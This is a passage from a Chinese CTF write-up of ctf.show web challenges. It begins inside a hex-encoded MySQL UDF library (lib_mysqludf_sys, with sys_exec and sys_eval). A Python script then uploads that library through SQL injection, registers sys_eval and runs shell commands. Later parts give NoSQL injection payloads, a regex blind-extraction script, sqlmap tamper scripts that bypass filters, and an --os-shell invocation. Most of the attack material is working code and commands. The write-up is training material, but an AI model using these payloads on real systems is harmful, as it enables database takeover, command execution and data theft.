00000007800000012000B009F0B0000000000004C00000000000000FF0000001200090088090000000000000000000000000000800100001000F1FF101720000000000000000000000000001501000012000B00130F0000000000002F000000000000008C0100001000F1FF201720000000000000000000000000009B00000012000B00480C0000000000000A000000000000002501000012000B00420F0000000000006700000000000000AA00000012000B00520C00000000000063000000000000005B00000012000B00950B0000000000000A000000000000008E00000012000B00EB0B0000000000005D00000000000000790100001000F1FF101720000000000000000000000000000501000012000B00090F0000000000000A00000000000000C000000012000B00B50C000000000000F100000000000000F700000012000B00A20E00000000000067000000000000003900000012000B004C0B0000000000004900000000000000D400000012000B00A60D0000000000002B000000000000004301000012000B00B30F0000000000005501000000000000005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F696E6974006D656D637079006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F007379735F6765745F696E6974007379735F6765745F6465696E6974007379735F67657400676574656E76007374726C656E007379735F7365745F696E6974006D616C6C6F63007379735F7365745F6465696E69740066726565007379735F73657400736574656E76007379735F657865635F696E6974007379735F657865635F6465696E6974007379735F657865630073797374656D007379735F6576616C5F696E6974007379735F6576616C5F6465696E6974007379735F6576616C00706F70656E007265616C6C6F63007374726E6370790066676574730070636C6F7365006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E322E3500000000000000000000020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001006F0100001000000000000000751A6909000002009101000000000000F0142000000000000800000000000000F0142000000000007816200000000000060000000200000000000000000000008016200000000000060000000300000000000000000000008816200000000000060000000A0000000000000000000000A81620000000000007000000040000000000000000000000B01620000000000007000000050000000000000000000000B81620000000000007000000060000000000000000000000C01620000000000007000000070000000000000000000000C81620000000000007000000080000000000000000000000D01620000000000007000000090000000000000000000000D816200000000000070000000A0000000000000000000000E016200000000000070000000B0000000000000000000000E816200000000000070000000C0000000000000000000000F016200000000000070000000D0000000000000000000000F816200000000000070000000E00000000000000000000000017200000000000070000000F00000000000000000000000817200000000000070000001000000000000000000000004883EC08E8EF000000E88A010000E8750700004883C408C3FF35F20C2000FF25F40C20000F1F4000FF25F20C20006800000000E9E0FFFFFFFF25EA0C20006801000000E9D0FFFFFFFF25E20C20006802000000E9C0FFFFFFFF25DA0C20006803000000E9B0FFFFFFFF25D20C20006804000000E9A0FFFFFFFF25CA0C20006805000000E990FFFFFFFF25C20C20006806000000E980FFFFFFFF25BA0C20006807000000E970FFFFFFFF25B20C20006808000000E960FFFFFFFF25AA0C20006809000000E950FFFFFFFF25A20C2000680A000000E940FFFFFFFF259A0C2000680B000000E930FFFFFFFF25920C2000680C000000E920FFFFFF4883EC08488B05ED0B20004885C07402FFD04883C408C390909090909090909055803D680C2000004889E5415453756248833DD00B200000740C488D3D2F0A2000E84AFFFFFF488D1D130A20004C8D25040A2000488B053D0C20004C29E348C1FB034883EB014839D873200F1F4400004883C0014889051D0C200041FF14C4488B05120C20004839D872E5C605FE0B2000015B415CC9C3660F1F84000000000048833DC009200000554889E5741A488B054B0B20004885C0740E488D3DA7092000C9FFE00F1F4000C9C39090554889E54883EC3048897DE8488975E0488955D8488B45E08B0085C07421488D0DE7050000488B45D8BA320000004889CE4889C7E89BFEFFFFC645FF01EB04C645FF000FB645FFC9C3554889E548897DF8C9C3554889E54883EC3048897DF8488975F0488955E848894DE04C8945D84C894DD0488D0DCA050000488B45E8BA1F0000004889CE4889C7E846FEFFFF488B45E048C7001E000000488B45E8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F801751C488B45F0488B40088B0085C0750E488B45F8C60001B800000000EB20488D0D83050000488B45E8BA2B0000004889CE4889C7E8DFFDFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC4048897DE8488975E0488955D848894DD04C8945C84C894DC0488B45E0488B4010488B004889C7E8BBFDFFFF488945F848837DF8007509488B45C8C60001EB16488B45F84889C7E84BFDFFFF4889C2488B45D0488910488B45F8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F8027425488D0D05050000488B45E8BA1F0000004889CE4889C7E831FDFFFFB801000000E9AB000000488B45F0488B40088B0085C07422488D0DF2040000488B45E8BA280000004889CE4889C7E8FEFCFFFFB801000000EB7B488B45F0488B40084883C004C70000000000488B45F0488B4018488B10488B45F0488B40184883C008488B00488D04024883C0024889C7E84BFCFFFF4889C2488B45F848895010488B45F8488B40104885C07522488D0DA4040000488B45E8BA1A0000004889CE4889C7E888FCFFFFB801000000EB05B800000000C9C3554889E54883EC1048897DF8488B45F8488B40104885C07410488B45F8488B40104889C7E811FCFFFFC9C3554889E54883EC3048897DE8488975E0488955D848894DD0488B45E8488B4010488945F0488B45E0488B4018488B004883C001480345F0488945F8488B45E0488B4018488B10488B45E0488B4010488B08488B45F04889CE4889C7E8EFFBFFFF488B45E0488B4018488B00480345F0C60000488B45E0488B40184883C008488B10488B45E0488B40104883C008488B08488B45F84889CE4889C7E8B0FBFFFF488B45E0488B40184883C008488B00480345F8C60000488B4DF8488B45F0BA010000004889CE4889C7E892FBFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0DC2020000488B45D8BA2B0000004889CE4889C7E81EFBFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC2048897DF8488975F0488955E848894DE0488B45F0488B4010488B004889C7E882FAFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0D22020000488B45D8BA2B0000004889CE4889C7E87EFAFFFFB801000000C9C3554889E548897DF8C9C3554889E54881EC500400004889BDD8FBFFFF4889B5D0FBFFFF488995C8FBFFFF48898DC0FBFFFF4C8985B8FBFFFF4C898DB0FBFFFFBF01000000E8BEF9FFFF488985C8FBFFFF48C745F000000000488B85D0FBFFFF488B4010488B00488D352C0200004889C7E852FAFFFF488945E8EB63488D85E0FBFFFF4889C7E8BDF9FFFF488945F8488B45F8488B55F04801C2488B85C8FBFFFF4889D64889C7E80CFAFFFF488985C8FBFFFF488D85E0FBFFFF488B55F0488B8DC8FBFFFF4801D1488B55F84889C64889CFE8D1F9FFFF488B45F8480145F0488B55E8488D85E0FBFFFFBE000400004889C7E831F9FFFF4885C07580488B45E84889C7E850F9FFFF488B85C8FBFFFF0FB60084C0740A4883BDC8FBFFFF00750C488B85B8FBFFFFC60001EB2B488B45F0488B95C8FBFFFF488D0402C60000488B85C8FBFFFF4889C7E8FBF8FFFF488B95C0FBFFFF488902488B85C8FBFFFFC9C39090909090909090554889E5534883EC08488B05A80320004883F8FF7419488D1D9B0320000F1F004883EB08FFD0488B034883F8FF75F14883C4085BC9C390904883EC08E84FF9FFFF4883C408C300004E6F20617267756D656E747320616C6C6F77656420287564663A206C69625F6D7973716C7564665F7379735F696E666F29000000000000006C69625F6D7973716C7564665F7379732076657273696F6E20302E302E33000045787065637465642065786163746C79206F6E6520737472696E67207479706520706172616D6574657200000000000045787065637465642065786163746C792074776F20617267756D656E74730000457870656374656420737472696E67207479706520666F72206E616D6520706172616D6574657200436F756C64206E6F7420616C6C6F63617465206D656D6F7279007200011B033B800000000F00000008F9FFFF9C00000051F9FFFFBC0000005BF9FFFFDC000000A7F9FFFFFC00000004FAFFFF1C0100000EFAFFFF3C01000071FAFFFF5C01000062FBFFFF7C0100008DFBFFFF9C0100005EFCFFFFBC010000C5FCFFFFDC010000CFFCFFFFFC010000FEFCFFFF1C02000065FDFFFF3C0200006FFDFFFF5C0200001400000000000000017A5200017810011B0C0708900100001C0000001C00000064F8FFFF4900000000410E108602430D0602440C070800001C0000003C0000008DF8FFFF0A00000000410E108602430D06450C07080000001C0000005C00000077F8FFFF4C00000000410E108602430D0602470C070800001C0000007C000000A3F8FFFF5D00000000410E108602430D0602580C070800001C0000009C000000E0F8FFFF0A00000000410E108602430D06450C07080000001C000000BC000000CAF8FFFF6300000000410E108602430D06025E0C070800001C000000DC0000000DF9FFFFF100000000410E108602430D0602EC0C070800001C000000FC000000DEF9FFFF2B00000000410E108602430D06660C07080000001C0000001C010000E9F9FFFFD100000000410E108602430D0602CC0C070800001C0000003C0100009AFAFFFF6700000000410E108602430D0602620C070800001C0000005C010000E1FAFFFF0A00000000410E108602430D06450C07080000001C0000007C010000CBFAFFFF2F00000000410E108602430D066A0C07080000001C0000009C010000DAFAFFFF6700000000410E108602430D0602620C070800001C000000BC01000021FBFFFF0A00000000410E108602430D06450C07080000001C000000DC0100000BFBFFFF5501000000410E108602430D060350010C0708000000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF00000000000000000000000000000000F01420000000000001000000000000006F010000000000000C0000000000000088090000000000000D000000000000004811000000000000F5FEFF6F00000000B8010000000000000500000000000000E805000000000000060000000000000070020000000000000A000000000000009D010000000000000B000000000000001800000000000000030000000000000090162000000000000200000000000000380100000000000014000000000000000700000000000000170000000000000050080000000000000700000000000000F0070000000000000800000000000000600000000000000009000000000000001800000000000000FEFFFF6F00000000D007000000000000FFFFFF6F000000000100000000000000F0FFFF6F000000008607000000000000F9FFFF6F0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F81420000000000000000000000000000000000000000000B609000000000000C609000000000000D609000000000000E609000000000000F609000000000000060A000000000000160A000000000000260A000000000000360A000000000000460A000000000000560A000000000000660A000000000000760A0000000000004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D3429004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D31372900002E73796D746162002E737472746162002E7368737472746162002E6E6F74652E676E752E6275696C642D6964002E676E752E68617368002E64796E73796D002E64796E737472002E676E752E76657273696F6E002E676E752E76657273696F6E5F72002E72656C612E64796E002E72656C612E706C74002E696E6974002E74657874002E66696E69002E726F64617461002E65685F6672616D655F686472002E65685F6672616D65002E63746F7273002E64746F7273002E6A6372002E646174612E72656C2E726F002E64796E616D6963002E676F74002E676F742E706C74002E627373002E636F6D6D656E7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001B0000000700000002000000000000009001000000000000900100000000000024000000000000000000000000000000040000000000000000000000000000002E000000F6FFFF6F0200000000000000B801000000000000B801000000000000B400000000000000030000000000000008000000000000000000000000000000380000000B000000020000000000000070020000000000007002000000000000780300000000000004000000020000000800000000000000180000000000000040000000030000000200000000000000E805000000000000E8050000000000009D0100000000000000000000000000000100000000000000000000000000000048000000FFFFFF6F0200000000000000860700000000000086070000000000004A0000000000000003000000000000000200000000000000020000000000000055000000FEFFFF6F0200000000000000D007000000000000D007000000000000200000000000000004000000010000000800000000000000000000000000000064000000040000000200000000000000F007000000000000F00700000000000060000000000000000300000000000000080000000000000018000000000000006E000000040000000200000000000000500800000000000050080000000000003801000000000000030000000A000000080000000000000018000000000000007800000001000000060000000000000088090000000000008809000000000000180000000000000000000000000000000400000000000000000000000000000073000000010000000600000000000000A009000000000000A009000000000000E0000000000000000000000000000000040000000000000010000000000000007E000000010000000600000000000000800A000000000000800A000000000000C80600000000000000000000000000001000000000000000000000000000000084000000010000000600000000000000481100000000000048110000000000000E000000000000000000000000000000040000000000000000000000000000008A00000001000000020000000000000058110000000000005811000000000000EC0000000000000000000000000000000800000000000000000000000000000092000000010000000200000000000000441200000000000044120000000000008400000000000000000000000000000004000000000000000000000000000000A0000000010000000200000000000000C812000000000000C812000000000000FC01000000000000000000000000000008000000000000000000000000000000AA000000010000000300000000000000C814200000000000C8140000000000001000000000000000000000000000000008000000000000000000000000000000B1000000010000000300000000000000D814200000000000D8140000000000001000000000000000000000000000000008000000000000000000000000000000B8000000010000000300000000000000E814200000000000E8140000000000000800000000000000000000000000000008000000000000000000000000000000BD000000010000000300000000000000F014200000000000F0140000000000000800000000000000000000000000000008000000000000000000000000000000CA000000060000000300000000000000F814200000000000F8140000000000008001000000000000040000000000000008000000000000001000000000000000D3000000010000000300000000000000781620000000000078160000000000001800000000000000000000000000000008000000000000000800000000000000D8000000010000000300000000000000901620000000000090160000000000008000000000000000000000000000000008000000000000000800000000000000E1000000080000000300000000000000101720000000000010170000000000001000000000000000000000000000000008000000000000000000000000000000E60000000100000030000000000000000000000000000000101700000000000059000000000000000000000000000000010000000000000001000000000000001100000003000000000000000000000000000000000000006917000000000000EF00000000000000000000000000000001000000000000000000000000000000010000000200000000000000000000000000000000000000581F00000000000068070000000000001B0000002C00000008000000000000001800000000000000090000000300000000000000000000000000000000000000C02600000000000042030000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000100900100000000000000000000000000000000000003000200B80100000000000000000000000000000000000003000300700200000000000000000000000000000000000003000400E80500000000000000000000000000000000000003000500860700000000000000000000000000000000000003000600D00700000000000000000000000000000000000003000700F00700000000000000000000000000000000000003000800500800000000000000000000000000000000000003000900880900000000000000000000000000000000000003000A00A00900000000000000000000000000000000000003000B00800A00000000000000000000000000000000000003000C00481100000000000000000000000000000000000003000D00581100000000000000000000000000000000000003000E00441200000000000000000000000000000000000003000F00C81200000000000000000000000000000000000003001000C81420000000000000000000000000000000000003001100D81420000000000000000000000000000000000003001200E81420000000000000000000000000000000000003001300F01420000000000000000000000000000000000003001400F81420000000000000000000000000000000000003001500781620000000000000000000000000000000000003001600901620000000000000000000000000000000000003001700101720000000000000000000000000000000000003001800000000000000000000000000000000000100000002000B00800A0000000000000000000000000000110000000400F1FF000000000000000000000000000000001C00000001001000C81420000000000000000000000000002A00000001001100D81420000000000000000000000000003800000001001200E81420000000000000000000000000004500000002000B00A00A00000000000000000000000000005B00000001001700101720000000000001000000000000006A00000001001700181720000000000008000000000000007800000002000B00200B0000000000000000000000000000110000000400F1FF000000000000000000000000000000008400000001001000D01420000000000000000000000000009100000001000F00C01400000000000000000000000000009F00000001001200E8142000000000000000000000000000AB00000002000B0010110000000000000000000000000000C10000000400F1FF00000000000000000000000000000000D40000000100F1FF90162000000000000000000000000000EA00000001001300F0142000000000000000000000000000F700000001001100E0142000000000000000000000000000040100000100F1FFF81420000000000000000000000000000D01000012000B00D10D000000000000D1000000000000001501000012000B00130F0000000000002F000000000000001E01000020000000000000000000000000000000000000002D01000020000000000000000000000000000000000000004101000012000C00481100000000000000000000000000004701000012000B00A90F0000000000000A000000000000005701000012000000000000000000000000000000000000006B01000012000000000000000000000000000000000000007F01000012000B00A20E00000000000067000000000000008D01000012000B00B30F0000000000005501000000000000960100001200000000000000000000000000000000000000A901000012000B00950B0000000000000A00000000000000C601000012000B00B50C000000000000F100000000000000D30100001200000000000000000000000000000000000000E50100001200000000000000000000000000000000000000F901000012000000000000000000000000000000000000000D02000012000B004C0B00000000000049000000000000002802000022000000000000000000000000000000000000004402000012000B00A60D0000000000002B000000000000005302000012000B00EB0B0000000000005D000000000000006002000012000B00480C0000000000000A000000000000006F02000012000000000000000000000000000000000000008302000012000B00420F0000000000006700000000000000910200001200000000000000000000000000000000000000A50200001200000000000000000000000000000000000000B902000012000B00520C0000000000006300000000000000C10200001000F1FF10172000000000000000000000000000CD02000012000B009F0B0000000000004C00000000000000E30200001000F1FF20172000000000000000000000000000E80200001200000000000000000000000000000000000000FD02000012000B00090F0000000000000A000000000000000D0300001200000000000000000000000000000000000000220300001000F1FF101720000000000000000000000000002903000012000000000000000000000000000000000000003C03000012000900880900000000000000000000000000000063616C6C5F676D6F6E5F73746172740063727473747566662E63005F5F43544F525F4C4953545F5F005F5F44544F525F4C4953545F5F005F5F4A43525F4C4953545F5F005F5F646F5F676C6F62616C5F64746F72735F61757800636F6D706C657465642E363335320064746F725F6964782E36333534006672616D655F64756D6D79005F5F43544F525F454E445F5F005F5F4652414D455F454E445F5F005F5F4A43525F454E445F5F005F5F646F5F676C6F62616C5F63746F72735F617578006C69625F6D7973716C7564665F7379732E63005F474C4F42414C5F4F46465345545F5441424C455F005F5F64736F5F68616E646C65005F5F44544F525F454E445F5F005F44594E414D4943007379735F736574007379735F65786563005F5F676D6F6E5F73746172745F5F005F4A765F5265676973746572436C6173736573005F66696E69007379735F6576616C5F6465696E6974006D616C6C6F634040474C4942435F322E322E350073797374656D4040474C4942435F322E322E35007379735F657865635F696E6974007379735F6576616C0066676574734040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974007379735F7365745F696E697400667265654040474C4942435F322E322E35007374726C656E4040474C4942435F322E322E350070636C6F73654040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F696E6974005F5F6378615F66696E616C697A654040474C4942435F322E322E35007379735F7365745F6465696E6974007379735F6765745F696E6974007379735F6765745F6465696E6974006D656D6370794040474C4942435F322E322E35007379735F6576616C5F696E697400736574656E764040474C4942435F322E322E3500676574656E764040474C4942435F322E322E35007379735F676574005F5F6273735F7374617274006C69625F6D7973716C7564665F7379735F696E666F005F656E64007374726E6370794040474C4942435F322E322E35007379735F657865635F6465696E6974007265616C6C6F634040474C4942435F322E322E35005F656461746100706F70656E4040474C4942435F322E322E35005F696E697400"
payload = []
text = ['1', '2', '3', '4', '5']
for i in range(0, 21510, 5000):
end = i + 5000
payload.append(udf_inhex[i:end])

p = dict(zip(text, payload))

for t in text:
url = base_url + f"?id=';select unhex('{p[t]}') into dumpfile '/usr/lib/mariadb/plugin/{t}.txt'; #"
r = requests.get(url)
print(r.status_code)
# 正式写入so文件
next_url = base_url + "?id='; select concat(load_file('/usr/lib/mariadb/plugin/1.txt'),load_file('/usr/lib/mariadb/plugin/2.txt'),load_file('/usr/lib/mariadb/plugin/3.txt'),load_file('/usr/lib/mariadb/plugin/4.txt'),load_file('/usr/lib/mariadb/plugin/5.txt')) into dumpfile '/usr/lib/mariadb/plugin/udf.so'; #"
r = requests.get(next_url)
print(r.status_code)

udf_url = base_url + "?id=';create function sys_eval returns string soname 'udf.so'; #"
r = requests.get(udf_url)
final_url = base_url + "?id=';select sys_eval('cat /flag*'); #"
r = requests.get(final_url)
print(r.text)
  1. NoSQL注入

https://www.anquanke.com/post/id/97211

1
2
3
4
5
6
7
8
9
10
11
12
flag在flag中
gt : >
$lt : <
$gte: >=
$lte: <=
$ne : !=、<>
$in : in
$nin: not in
$all: all
$or:or
$not: 反匹配(1.3.3及以上版本)
$regex

传参点为id 无过滤

image-20220904094011826

image-20220904094042843

这里可以利用重演式攻击,通过传递数组的方式来进行注入

payload:

1
?id[$in]=flag
  1. NoSQL注入

    题面image-20220904094728417

返回逻辑,也就是登录成功即可爆出flag

image-20220904094746919

POST传参,参数点为username和password

image-20220904094832405

和上题的思路一致,(就是那个执行语句比较抽象),重演式注入

1
username[$ne]=&password[$ne]=
  1. NoSQL注入

    这题的题面和上一关没有变化,注入进去后并没有爆出flag

    image-20220904095426729

离谱,说明这题是不想让我们以admin用户名登录进去

1
username[$ne]=admin&password[$ne]=
  1. NoSQL注入

    可以看到题面发生了变化

    image-20220904095754985

1
2
mongodb的find().pretty()方法的作用。
使得查询出来的数据在命令行中更加美观的显示,不至于太紧凑

沿用上一关的payload,发现又多出来个admin1。。。试试正则绕过

1
2
username[$regex]=^[^admin].*$&password[$ne]=
[^xyz] 匹配未包含的任意字符
  1. NoSQL注入

    这关和上一关题面一致,但是payload打不通了。应该是盲注,利用正则匹配出flag来

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    # coding=gbk
    import requests
    import string
    db = string.ascii_lowercase + string.digits + '_-{}'

    url = "http://637fc69e-5c8f-4c57-b062-92e7fbddff28.challenge.ctf.show/api/"

    flag = ""
    for i in range(100):
    for s in db:
    payload = f"^{flag+s}.*$"
    data = {
    "username[$regex]":'flag',
    "password[$regex]":payload
    }
    r = requests.post(url, data=data)
    if r"\u767b\u9646\u6210\u529f" in r.text:
    flag += s
    print(flag)
    break
    if '}' in flag:
    break
 后面补充下中间sqlmap部分的内容

 205. sqlmap

      
1
sqlmap -u "http://1b66a511-986d-46af-8397-9f8a76a4ff43.challenge.ctf.show/api/index.php" --safe-url="http://1b66a511-986d-46af-8397-9f8a76a4ff43.challenge.ctf.show/api/getToken.php" --safe-freq=1 --method="PUT" --data="id=1" --headers="Content-Type: text/plain;" --refer="ctf.show" -dbms mysql -D ctfshow_web -T ctfshow_flax  -C "flagx,tes" --dump
206. sqlmap 发现上面的payload还能用。它想考一个闭合,但是sqlmap可以自动检测
1
sqlmap -u "http://53dc3fcd-908e-4457-9c27-580bcff8fff8.challenge.ctf.show/api/index.php" --safe-url="http://53dc3fcd-908e-4457-9c27-580bcff8fff8.challenge.ctf.show/api/getToken.php" --safe-freq=1 --method="PUT" --data="id=1" --headers="Content-Type: text/plain;" --refer="ctf.show" -dbms mysql -D ctfshow_web -T ctfshow_flaxc -C "flagv,tes" --dump
207. sqlmap 使用tamper脚本来绕过一些过滤 这道题过滤了空格,所以我们可以使用内置脚本space2comment.py(其会利用/**/来绕过空格)
1
sqlmap -u "http://0a585485-b04b-4bbf-8efc-29442e7846f1.challenge.ctf.show/api/index.php" --safe-url="http://0a585485-b04b-4bbf-8efc-29442e7846f1.challenge.ctf.show/api/getToken.php" --safe-freq=1 --method="PUT" --data="id=1" --headers="Content-Type: text/plain;" --refer="ctf.show" -dbms mysql --tamper=space2comment.py  -D ctfshow_web -T ctfshow_flaxca -C "flagvc" --dump
208. sqlmap 这道题过滤了空格和关键词`select` 打算自己写个脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW

def dependencies():
pass


def tamper(payload, **kwargs):
retVal = payload

if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False

for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += "/**/"
continue

elif payload[i] == '\'':
quote = not quote

elif payload[i] == '"':
doublequote = not doublequote

elif payload[i] == " " and not doublequote and not quote:
retVal += "/**/"
continue

retVal += payload[i]
# 就加了下面一行替换
retVal = retVal.replace("select", "sselectelect")

return retVal
1
sqlmap -u "http://66af8c09-8165-4f2f-b817-45701578d5eb.challenge.ctf.show/api/index.php" --safe-url="http://66af8c09-8165-4f2f-b817-45701578d5eb.challenge.ctf.show/api/getToken.php" --safe-freq=1 --method="PUT" --data="id=1" --headers="Content-Type: text/plain;" --refer="ctf.show" -dbms mysql --tamper=ctfshow208.py -D ctfshow_web -T ctfshow_flaxcac -C "flagvca" --dump
209. sqlmap 过滤了空格,内行注释和等号 还是需要去修改脚本 对于空格 我们可以使用`%09`绕过,对于`=`可以换成like关键字 还是对sqlmap的传参过程不是很清晰,这里竟然可以直接用python的chr()函数作替换
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW


def dependencies():
pass


def tamper(payload, **kwargs):

retVal = payload

if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False

for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x9)
continue

elif payload[i] == '\'':
quote = not quote

elif payload[i] == '"':
doublequote = not doublequote

elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x9)
continue
elif payload[i] == "=":
retVal += chr(0x9) + "like" + chr(0x9)
continue
retVal += payload[i]
return retVal
1
sqlmap -u "http://d692eb86-93f0-47d7-ab6c-41237665a80f.challenge.ctf.show/api/index.php" --safe-url="http://d692eb86-93f0-47d7-ab6c-41237665a80f.challenge.ctf.show/api/getToken.php" --safe-freq=1 --method="PUT" --data="id=1" --headers="Content-Type: text/plain;" --refer="ctf.show" --dbms mysql  --tamper=ctfshow209.py -D ctfshow_web -T ctfshow_flav -C "ctfshow_flagx" --dump
210. sqlmap 这里有个自定义操作
1
return strrev(base64_decode(strrev(base64_decode($id))));
我们需要逆着来,过程刚开始没想清楚。逆过来应该是先从外层开始
1
2
3
# 核心
retVal = b64encode(retVal[::-1].encode()).decode()
retVal = b64encode(retVal[::-1].encode()).decode()
1
sqlmap -u "http://366f932d-951c-4aec-b6e2-bab9aa459827.challenge.ctf.show/api/index.php" --safe-url="http://366f932d-951c-4aec-b6e2-bab9aa459827.challenge.ctf.show/api/getToken.php" --safe-freq=1 --method="PUT" --data="id=1" --headers="Content-Type: text/plain;" --refer="ctf.show" --dbms mysql  --tamper=ctfshow209.py -D ctfshow_web -T ctfshow_flavi -C "ctfshow_flagxx" --dump
211. sqlmap 先两关的组合,直接打 212. sqlmap 一样 213. sqlmap 在三题的基础上练习getshell ![image-20220820173840013](/image-20220820173840013.png) 这里拿到了网站根目录的shell,上面有两个临时文件 ![image-20220820174533319](/zouErhlZTPN1HdY.png) 一个是命令执行文件,可以直接执行系统命令
1
sqlmap -u "http://140cb7d1-5ec7-495d-892a-3160ce479404.challenge.ctf.show/api/index.php" --safe-url="http://140cb7d1-5ec7-495d-892a-3160ce479404.challenge.ctf.show/api/getToken.php" --safe-freq=1 --method="PUT" --data="id=1" --headers="Content-Type: text/plain;" --refer="ctf.show" --dbms mysql  --tamper=ctfshow209.py --os-shell